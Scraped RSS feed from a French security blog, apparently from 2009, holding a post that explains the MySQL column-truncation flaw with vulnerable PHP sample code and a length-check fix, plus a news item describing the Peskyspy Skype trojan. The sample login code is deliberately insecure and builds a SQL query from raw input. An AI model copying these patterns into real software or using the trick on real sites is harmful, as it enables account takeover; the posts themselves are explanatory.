	<a rel="nofollow"  target="_blank" href="http://www.mixx.com/submit?page_url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fregex-code-injection.html&amp;title=Injection%20de%20code%20dans%20une%20expressions%20rationnelle%20%28REGEX%20Injection%29" title="Mixx"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/mixx.png" title="Mixx" alt="Mixx" class="sociable-hovers" /></a>
	<a  target="_blank" href="http://blogplay.com" title="Blogplay"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/blogplay.png" title="Blogplay" alt="Blogplay" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://identi.ca/notice/new?status_textarea=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fregex-code-injection.html" title="Identi.ca"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/identica.png" title="Identi.ca" alt="Identi.ca" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.printfriendly.com/print?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fregex-code-injection.html&amp;partner=sociable" title="Print"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/printfriendly.png" title="Print" alt="Print" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=pingfm&t=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fregex-code-injection.html&d=http://ping.fm/ref/?link=TARGET%26title=Injection%20de%20code%20dans%20une%20expressions%20rationnelle%20%28REGEX%20Injection%29%26body=Salut%20%C3%A0%20tous%21%0D%0A%0D%0AAujourd%27hui%20je%20vous%20parlerai%20de%20la%20s%C3%A9curit%C3%A9%20des%20expressions%20r%C3%A9guli%C3%A8res%2C%20appel%C3%A9es%20aussi%20expressions%20rationnelles%2C%20ou%20tout%20simplement%20REGEX%20pour%20les%20intimes%21%20Si%20vous%20en%20us%C3%A9%20dans%20vos%20codes%2C%20ce%20billet%20est%20pour%20vous%21%0D%0A%0D%0ALes%20express" title="Ping.fm"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/ping.png" title="Ping.fm" alt="Ping.fm" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=mailto&t=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fregex-code-injection.html&d=mailto:?subject=Injection%20de%20code%20dans%20une%20expressions%20rationnelle%20%28REGEX%20Injection%29%26body=TARGET" title="email"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/email_link.png" title="email" alt="email" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://posterous.com/share?linkto=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fregex-code-injection.html&amp;title=Injection%20de%20code%20dans%20une%20expressions%20rationnelle%20%28REGEX%20Injection%29&amp;selection=Salut%20%C3%A0%20tous%21%0D%0A%0D%0AAujourd%27hui%20je%20vous%20parlerai%20de%20la%20s%C3%A9curit%C3%A9%20des%20expressions%20r%C3%A9guli%C3%A8res%2C%20appel%C3%A9es%20aussi%20expressions%20rationnelles%2C%20ou%20tout%20simplement%20REGEX%20pour%20les%20intimes%21%20Si%20vous%20en%20us%C3%A9%20dans%20vos%20codes%2C%20ce%20billet%20est%20pour%20vous%21%0D%0A%0D%0ALes%20express" title="Posterous"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/posterous.png" title="Posterous" alt="Posterous" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://reddit.com/submit?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fregex-code-injection.html&amp;title=Injection%20de%20code%20dans%20une%20expressions%20rationnelle%20%28REGEX%20Injection%29" title="Reddit"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/reddit.png" title="Reddit" alt="Reddit" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://buzz.yahoo.com/submit/?submitUrl=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fregex-code-injection.html&amp;submitHeadline=Injection%20de%20code%20dans%20une%20expressions%20rationnelle%20%28REGEX%20Injection%29&amp;submitSummary=Salut%20%C3%A0%20tous%21%0D%0A%0D%0AAujourd%27hui%20je%20vous%20parlerai%20de%20la%20s%C3%A9curit%C3%A9%20des%20expressions%20r%C3%A9guli%C3%A8res%2C%20appel%C3%A9es%20aussi%20expressions%20rationnelles%2C%20ou%20tout%20simplement%20REGEX%20pour%20les%20intimes%21%20Si%20vous%20en%20us%C3%A9%20dans%20vos%20codes%2C%20ce%20billet%20est%20pour%20vous%21%0D%0A%0D%0ALes%20express&amp;submitCategory=science&amp;submitAssetType=text" title="Yahoo! Buzz"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/yahoobuzz.png" title="Yahoo! Buzz" alt="Yahoo! Buzz" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.printfriendly.com/print?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fregex-code-injection.html&amp;partner=sociable" title="PDF"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/pdf.png" title="PDF" alt="PDF" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/feed" title="RSS"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/rss.png" title="RSS" alt="RSS" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.diigo.com/post?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fregex-code-injection.html&amp;title=Injection%20de%20code%20dans%20une%20expressions%20rationnelle%20%28REGEX%20Injection%29" title="Diigo"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/diigo.png" title="Diigo" alt="Diigo" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://cgi.fark.com/cgi/fark/farkit.pl?h=Injection%20de%20code%20dans%20une%20expressions%20rationnelle%20%28REGEX%20Injection%29&amp;u=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fregex-code-injection.html" title="Fark"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/fark.png" title="Fark" alt="Fark" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.blogospherenews.com/submit.php?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fregex-code-injection.html&amp;title=Injection%20de%20code%20dans%20une%20expressions%20rationnelle%20%28REGEX%20Injection%29" title="Blogosphere News"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/blogospherenews.png" title="Blogosphere News" alt="Blogosphere News" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://cimlap.blogter.hu/index.php?action=suggest_link&amp;title=Injection%20de%20code%20dans%20une%20expressions%20rationnelle%20%28REGEX%20Injection%29&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fregex-code-injection.html" title="blogtercimlap"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/blogter.png" title="blogtercimlap" alt="blogtercimlap" class="sociable-hovers" /></a>


<br/><br/>
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fregex-code-injection.html" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://www.mcherifi.org/hacking/regex-code-injection.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>La faille MySQL Column truncation</title>
		<link>http://www.mcherifi.org/hacking/la-faille-mysql-column-truncation.html</link>
		<comments>http://www.mcherifi.org/hacking/la-faille-mysql-column-truncation.html#comments</comments>
		<pubDate>Thu, 10 Sep 2009 03:07:52 +0000</pubDate>
		<dc:creator>Mohammed CHERIFI</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[attaque par champs tronqués]]></category>
		<category><![CDATA[faille mysql]]></category>
		<category><![CDATA[mysql column truncation]]></category>
		<category><![CDATA[sql injection]]></category>

		<guid isPermaLink="false">http://www.mcherifi.org/?p=163</guid>
		<description><![CDATA[Tweet




Hello les amis !
Aujourd&#8217;hui, je vous parlerai d&#8217;un nouveau type de  faille, il s&#8217;agit de MySQL column truncation!
Pendant que les failles du  types SQL Injections restent parmi les vecteurs d&#8217;attaque les plus discutés sur  le Web, il existe un autre genre qui a été discuté pour la première fois par  Stefan [...]]]></description>
			<content:encoded><![CDATA[<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://www.mcherifi.org/hacking/la-faille-mysql-column-truncation.html" data-text="La faille MySQL Column truncation" data-count="horizontal">Tweet</a><div class="mceTemp">
<dl id="attachment_171" class="wp-caption alignleft" style="width: 160px;">
<dt class="wp-caption-dt"><img class="size-full wp-image-171" title="mysql_column_truncation" src="http://www.mcherifi.org/wp-content/uploads/2009/09/mysql_column_truncation.jpg" alt="mysql column truncation" width="150" height="174" /></dt>
</dl>
</div>
<p>Hello les amis !</p>
<p>Aujourd&#8217;hui, je vous parlerai d&#8217;un nouveau type de  faille, il s&#8217;agit de <strong>MySQL column truncation</strong>!</p>
<p>Pendant que les failles du  types SQL Injections restent parmi les vecteurs d&#8217;attaque les plus discutés sur  le Web, il existe un autre genre qui a été discuté pour la première fois par  Stefan Esser, ce dernier a illustré son exploitation dans un bug reporté sur bugtraq  affectant wordpress!</p>
<p><strong>Comment ça marche ?</strong></p>
<p>Par défaut, la comparaison de deux chaine de caractère dans MySQL ne se fait pas en mode binaire, ceci se fait en &laquo;&nbsp;relaxed mode&nbsp;&raquo;, ce mode compare deux chaines on ignorant les espaces et les caractères nuls de la fin de la chaine, du coup, pour mysql, la chaine de caractères &#8216;admin&#8217; est égale à &#8216;admin   &#8216;! .</p>
<p>De ce fait mysql refusera d&#8217;enregistrer un nouvel utilisateur qui essaie de s&#8217;incrire avec &#8216;admin &#8216; (admin+espace) ce qui est tout à fait logique!</p>
<p><strong>Ou est le problème?</strong></p>
<p>Pour illustrer le problème on immagine l&#8217;application suivante:</p>
<ul>
<li>Un forum de discution ou un blog ou tous le monde peut s&#8217;enregistrer</li>
<li>Le champs username de la table <em>utilisateurs</em> est limité à 16 caractères</li>
<li>L&#8217;administrateur du forum est &#8216;admin&#8217;</li>
<li>MySQL est utilisé dans le mode par défaut</li>
<li>Pas de vérification sur la longueur du nom d&#8217;utilisateur</li>
</ul>
<p>Qu&#8217;est ce qui se passe si on essaie de créer un compte avec comme nom d&#8217;utilisateur &#8216;admin           xD&#8217;   (admin+11 espaces+xD) et un mot de passe &#8216;p455wd&#8217;:</p>
<p>MySQL va cherche si il existe un utilisateur avec comme username &#8216;admin           xD&#8217;,  et comme aucun utilisateur ne l&#8217;as pris l&#8217;application va l&#8217;accepter et continuera pour inserer le nouvel utilisateur dans la base.</p>
<p>La chaine du nom d&#8217;utilisateur fait 18 caractères (admin+11 espaces+xD), mySQL va automatiquement <strong>tronquer </strong>les deux dernier caractères (xD) car le champ username est limité à 16 caractères, ce qui donnera &#8216;admin           &#8216;  (admin+11 espaces), ce dernier sera accepté par l&#8217;application et inséré dans la table d&#8217;utilisateurs, on aura donc deux utilisateur avec le même login &#8216;admin&#8217;<em> (rappellez vous que la comparaison en mysql dans le mode par défaut ne prends pas en compte les espaces!)</em>.</p>
<p>Dans ce cas, un problème de sécurité potentiel peut affecter l&#8217;application, en dépendance de la façon dont elle traite le champ username!</p>
<p><strong>Exemple d&#8217;une application vulnérable:</strong><br />
Connexion :</p>
<pre class="brush: php">
if(!empty($_POST[&#039;username&#039;]) &amp;&amp; !empty($_POST[&#039;password&#039;]){
$username = $_POST[&#039;username&#039;];
$password= $_POST[&#039;password&#039;];
if(login($username,$password)){
$userdata = getUserInfoByLogin($username);
}
}
</pre>
<p>la fonction getUserInfoByLogin()</p>
<pre class="brush: php">

function getUserInfoByLogin($username){

$query = mysql_query(&quot;SELECT * FROM utilisateurs WHERE username = &#039;$username&quot;);

$userinfo= mysql_fetch_array($query);

return $userinfo ;

}
</pre>
<p>Espace membre</p>
<pre class="brush: php">

if($userdata[&#039;username&#039;] == &#039;admin&#039;){

//espace privé : console d&#039;administration

}

else{

// espace membre!

}</pre>
<p><strong>Resultat:</strong></p>
<p>Puisque l&#8217;attaquant a un compte avec le login &#8216;admin           &#8216;, il pourra se connecter à ce dernier avec le passe &#8216;p455wd&#8217; ! et puisque l&#8217;enregistrement du vrai administrateur est le premier en base, celuila sera retourné ! et l&#8217;attaquant aura accès à l&#8217;espace administrateur du forum!</p>
<p>Ceci est juste une illustration, la faille peut se présenter différemment sur une application web,je cite là <a href="http://www.milw0rm.com/exploits/6397" target="_blank">wordpress qui était le premier victime de ce type de vulnérabilités</a>!</p>
<p><strong>Comment sécuriser mon application?</strong></p>
<p>Toujours vérifier la longueur des champs sensibles (comme username dans notre exemple), et interrompre l&#8217;exécution de votre application si cella dépasse la longueur maximale configurée dans votre table mysql!</p>



Partager cet article:


	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=twitter&t=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fla-faille-mysql-column-truncation.html&d=http://twitter.com/home?status=La%20faille%20MySQL%20Column%20truncation%20-%20TARGET" title="Twitter"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/twitter.png" title="Twitter" alt="Twitter" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=facebook-post&t=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fla-faille-mysql-column-truncation.html&d=http://www.facebook.com/share.php?u=TARGET%26t=La%20faille%20MySQL%20Column%20truncation" title="Facebook"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/facebook.png" title="Facebook" alt="Facebook" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.google.com/bookmarks/mark?op=edit&amp;bkmk=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fla-faille-mysql-column-truncation.html&amp;title=La%20faille%20MySQL%20Column%20truncation&amp;annotation=%20%20%0D%0AHello%20les%20amis%20%21%0D%0A%0D%0AAujourd%27hui%2C%20je%20vous%20parlerai%20d%27un%20nouveau%20type%20de%20%20faille%2C%20il%20s%27agit%20de%20MySQL%20column%20truncation%21%0D%0A%0D%0APendant%20que%20les%20failles%20du%20%20types%20SQL%20Injections%20restent%20parmi%20les%20vecteurs%20d%27attaque%20les%20plus%20discut%C3%A9s%20sur%20%20le%20Web%2C%20il%20exis" title="Google Bookmarks"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/googlebookmark.png" title="Google Bookmarks" alt="Google Bookmarks" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://delicious.com/post?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fla-faille-mysql-column-truncation.html&amp;title=La%20faille%20MySQL%20Column%20truncation&amp;notes=%20%20%0D%0AHello%20les%20amis%20%21%0D%0A%0D%0AAujourd%27hui%2C%20je%20vous%20parlerai%20d%27un%20nouveau%20type%20de%20%20faille%2C%20il%20s%27agit%20de%20MySQL%20column%20truncation%21%0D%0A%0D%0APendant%20que%20les%20failles%20du%20%20types%20SQL%20Injections%20restent%20parmi%20les%20vecteurs%20d%27attaque%20les%20plus%20discut%C3%A9s%20sur%20%20le%20Web%2C%20il%20exis" title="del.icio.us"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/delicious.png" title="del.icio.us" alt="del.icio.us" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.netvibes.com/share?title=La%20faille%20MySQL%20Column%20truncation&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fla-faille-mysql-column-truncation.html" title="Netvibes"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/netvibes.png" title="Netvibes" alt="Netvibes" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.viadeo.com/shareit/share/?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fla-faille-mysql-column-truncation.html&title=La%20faille%20MySQL%20Column%20truncation&urllanguage=fr" title="viadeo FR"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/viadeo.png" title="viadeo FR" alt="viadeo FR" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://digg.com/submit?phase=2&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fla-faille-mysql-column-truncation.html&amp;title=La%20faille%20MySQL%20Column%20truncation&amp;bodytext=%20%20%0D%0AHello%20les%20amis%20%21%0D%0A%0D%0AAujourd%27hui%2C%20je%20vous%20parlerai%20d%27un%20nouveau%20type%20de%20%20faille%2C%20il%20s%27agit%20de%20MySQL%20column%20truncation%21%0D%0A%0D%0APendant%20que%20les%20failles%20du%20%20types%20SQL%20Injections%20restent%20parmi%20les%20vecteurs%20d%27attaque%20les%20plus%20discut%C3%A9s%20sur%20%20le%20Web%2C%20il%20exis" title="Digg"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/digg.png" title="Digg" alt="Digg" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fla-faille-mysql-column-truncation.html&amp;title=La%20faille%20MySQL%20Column%20truncation&amp;source=Mohammed+CHERIFI+Another+Web+Developper+Blog%21&amp;summary=%20%20%0D%0AHello%20les%20amis%20%21%0D%0A%0D%0AAujourd%27hui%2C%20je%20vous%20parlerai%20d%27un%20nouveau%20type%20de%20%20faille%2C%20il%20s%27agit%20de%20MySQL%20column%20truncation%21%0D%0A%0D%0APendant%20que%20les%20failles%20du%20%20types%20SQL%20Injections%20restent%20parmi%20les%20vecteurs%20d%27attaque%20les%20plus%20discut%C3%A9s%20sur%20%20le%20Web%2C%20il%20exis" title="LinkedIn"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/linkedin.png" title="LinkedIn" alt="LinkedIn" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://slashdot.org/bookmark.pl?title=La%20faille%20MySQL%20Column%20truncation&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fla-faille-mysql-column-truncation.html" title="Slashdot"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/slashdot.png" title="Slashdot" alt="Slashdot" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://sphinn.com/index.php?c=post&amp;m=submit&amp;link=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fla-faille-mysql-column-truncation.html" title="Sphinn"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/sphinn.png" title="Sphinn" alt="Sphinn" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mixx.com/submit?page_url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fla-faille-mysql-column-truncation.html&amp;title=La%20faille%20MySQL%20Column%20truncation" title="Mixx"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/mixx.png" title="Mixx" alt="Mixx" class="sociable-hovers" /></a>
	<a  target="_blank" href="http://blogplay.com" title="Blogplay"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/blogplay.png" title="Blogplay" alt="Blogplay" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://identi.ca/notice/new?status_textarea=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fla-faille-mysql-column-truncation.html" title="Identi.ca"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/identica.png" title="Identi.ca" alt="Identi.ca" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.printfriendly.com/print?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fla-faille-mysql-column-truncation.html&amp;partner=sociable" title="Print"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/printfriendly.png" title="Print" alt="Print" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=pingfm&t=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fla-faille-mysql-column-truncation.html&d=http://ping.fm/ref/?link=TARGET%26title=La%20faille%20MySQL%20Column%20truncation%26body=%20%20%0D%0AHello%20les%20amis%20%21%0D%0A%0D%0AAujourd%27hui%2C%20je%20vous%20parlerai%20d%27un%20nouveau%20type%20de%20%20faille%2C%20il%20s%27agit%20de%20MySQL%20column%20truncation%21%0D%0A%0D%0APendant%20que%20les%20failles%20du%20%20types%20SQL%20Injections%20restent%20parmi%20les%20vecteurs%20d%27attaque%20les%20plus%20discut%C3%A9s%20sur%20%20le%20Web%2C%20il%20exis" title="Ping.fm"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/ping.png" title="Ping.fm" alt="Ping.fm" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/wp-content/plugins/sociable/awesmate.php?c=mailto&t=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fla-faille-mysql-column-truncation.html&d=mailto:?subject=La%20faille%20MySQL%20Column%20truncation%26body=TARGET" title="email"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/email_link.png" title="email" alt="email" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://posterous.com/share?linkto=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fla-faille-mysql-column-truncation.html&amp;title=La%20faille%20MySQL%20Column%20truncation&amp;selection=%20%20%0D%0AHello%20les%20amis%20%21%0D%0A%0D%0AAujourd%27hui%2C%20je%20vous%20parlerai%20d%27un%20nouveau%20type%20de%20%20faille%2C%20il%20s%27agit%20de%20MySQL%20column%20truncation%21%0D%0A%0D%0APendant%20que%20les%20failles%20du%20%20types%20SQL%20Injections%20restent%20parmi%20les%20vecteurs%20d%27attaque%20les%20plus%20discut%C3%A9s%20sur%20%20le%20Web%2C%20il%20exis" title="Posterous"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/posterous.png" title="Posterous" alt="Posterous" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://reddit.com/submit?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fla-faille-mysql-column-truncation.html&amp;title=La%20faille%20MySQL%20Column%20truncation" title="Reddit"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/reddit.png" title="Reddit" alt="Reddit" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://buzz.yahoo.com/submit/?submitUrl=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fla-faille-mysql-column-truncation.html&amp;submitHeadline=La%20faille%20MySQL%20Column%20truncation&amp;submitSummary=%20%20%0D%0AHello%20les%20amis%20%21%0D%0A%0D%0AAujourd%27hui%2C%20je%20vous%20parlerai%20d%27un%20nouveau%20type%20de%20%20faille%2C%20il%20s%27agit%20de%20MySQL%20column%20truncation%21%0D%0A%0D%0APendant%20que%20les%20failles%20du%20%20types%20SQL%20Injections%20restent%20parmi%20les%20vecteurs%20d%27attaque%20les%20plus%20discut%C3%A9s%20sur%20%20le%20Web%2C%20il%20exis&amp;submitCategory=science&amp;submitAssetType=text" title="Yahoo! Buzz"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/yahoobuzz.png" title="Yahoo! Buzz" alt="Yahoo! Buzz" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.printfriendly.com/print?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fla-faille-mysql-column-truncation.html&amp;partner=sociable" title="PDF"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/pdf.png" title="PDF" alt="PDF" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.mcherifi.org/feed" title="RSS"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/rss.png" title="RSS" alt="RSS" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.diigo.com/post?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fla-faille-mysql-column-truncation.html&amp;title=La%20faille%20MySQL%20Column%20truncation" title="Diigo"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/diigo.png" title="Diigo" alt="Diigo" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://cgi.fark.com/cgi/fark/farkit.pl?h=La%20faille%20MySQL%20Column%20truncation&amp;u=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fla-faille-mysql-column-truncation.html" title="Fark"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/fark.png" title="Fark" alt="Fark" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://www.blogospherenews.com/submit.php?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fla-faille-mysql-column-truncation.html&amp;title=La%20faille%20MySQL%20Column%20truncation" title="Blogosphere News"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/blogospherenews.png" title="Blogosphere News" alt="Blogosphere News" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://cimlap.blogter.hu/index.php?action=suggest_link&amp;title=La%20faille%20MySQL%20Column%20truncation&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fla-faille-mysql-column-truncation.html" title="blogtercimlap"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/blogter.png" title="blogtercimlap" alt="blogtercimlap" class="sociable-hovers" /></a>


<br/><br/>
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fla-faille-mysql-column-truncation.html" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://www.mcherifi.org/hacking/la-faille-mysql-column-truncation.html/feed</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Le code source du trojan Skype Peskyspy publié sous liscence GPL</title>
		<link>http://www.mcherifi.org/hacking/le-code-source-du-trojan-skype-peskyspy-publie-sous-liscence-gpl.html</link>
		<comments>http://www.mcherifi.org/hacking/le-code-source-du-trojan-skype-peskyspy-publie-sous-liscence-gpl.html#comments</comments>
		<pubDate>Sun, 06 Sep 2009 06:31:58 +0000</pubDate>
		<dc:creator>Mohammed CHERIFI</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[peskyspy]]></category>
		<category><![CDATA[ruben unteregge]]></category>
		<category><![CDATA[skype]]></category>
		<category><![CDATA[trojan skype]]></category>
		<category><![CDATA[voip]]></category>

		<guid isPermaLink="false">http://www.mcherifi.org/?p=145</guid>
		<description><![CDATA[TweetRuben Unteregger vient de publier le code source de Peskyspy, un cheval de troie pour Skype, le trojan permet le monitoring de tout appel entrant ou sortant d&#8217;une machine infectée, d&#8217;enregistrer ces conversations et les convertir au format MP3, puis les crypter et les envoyer au serveur de le l&#8217;attaquant!
Pendant 7 ans, Ruben Unteregger travaillait [...]]]></description>
			<content:encoded><![CDATA[<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://www.mcherifi.org/hacking/le-code-source-du-trojan-skype-peskyspy-publie-sous-liscence-gpl.html" data-text="Le code source du trojan Skype Peskyspy publié sous liscence GPL" data-count="horizontal">Tweet</a><div id="attachment_146" class="wp-caption alignleft" style="width: 151px"><img class="size-full wp-image-146" title="Ruben Unteregger" src="http://www.mcherifi.org/wp-content/uploads/2009/09/Megapanzer-Ruben-Unteregger.jpg" alt="Ruben Unteregger" width="141" height="210" /><p class="wp-caption-text">Ruben Unteregger</p></div>
<p><strong>Ruben Unteregger</strong> vient de publier le code source de <strong>Peskyspy</strong>, un cheval de troie pour Skype, le trojan permet le monitoring de tout appel entrant ou sortant d&#8217;une machine infectée, d&#8217;enregistrer ces conversations et les convertir au format MP3, puis les crypter et les envoyer au serveur de le l&#8217;attaquant!</p>
<p>Pendant 7 ans, Ruben Unteregger travaillait en tant qu&#8217;ingénieur logiciel pour une société suisse (ERA IT Solutions) , son job était de programmer un malware pour pénétrer des ordinateurs privés et espionner les communications VOIP, étant couvert par le gouvernement suisse, Ruben Unteregger est légalement resté le propriétaire des droits du code source du trojan, et a décidé de le rendre publique.</p>
<p><strong>Comment </strong><strong>Peskyspy </strong><strong>procède-t&#8217;il?</strong></p>
<p>Une fois exécuté sur la machine, PeSkyspy injecte un composant (Skype-TAP)  dans Skype, ce composant utilise les API Windows qui se chargent de la gestion des entrées/sorties audio, ainsi ce dernier peut capturer l&#8217;ensemble des données audio transitant entre le processus Skype.exe et les périphériques audio sous-jacents, ces données seront extraites au format PCM (Pulse Code Modulation) puis convertis au format MP3, et finalement transmises au serveur de l&#8217;attaquant, ce dernier se connectera à son serveur et récupèra les fichiers MP3 de toutes les conversations enregistrées!</p>
<p>En effectuant l&#8217;écoute directement sur les périphériques audio du système d&#8217;exploitation, la capture des données audio reste indépendante du protocole utilisé par Skype, même si ce dernier change de méthode de cryptage de conversation le trojan reste toujours fonctionnel ;)</p>
<p><strong>Code Source :</strong></p>
<p>Entièrement codé en C++,  le code source de PeSkyspy a été publié sur le site <a href="http://www.megapanzer.com">megapanzer</a>. Comme a précisé son auteur, le code est d&#8217;une extrême simplicité et reste une bonne référence pour les apprentis! cependant sa publication peut représenter un danger réel pour les entreprises utilisant Skype comme moyen de communication avec l&#8217;extérieur, notamment les société d&#8217;off-shoring!</p>
<p>Voilà! je vous laisse avec le code source de PeSkyspy, bonne lecture !</p>
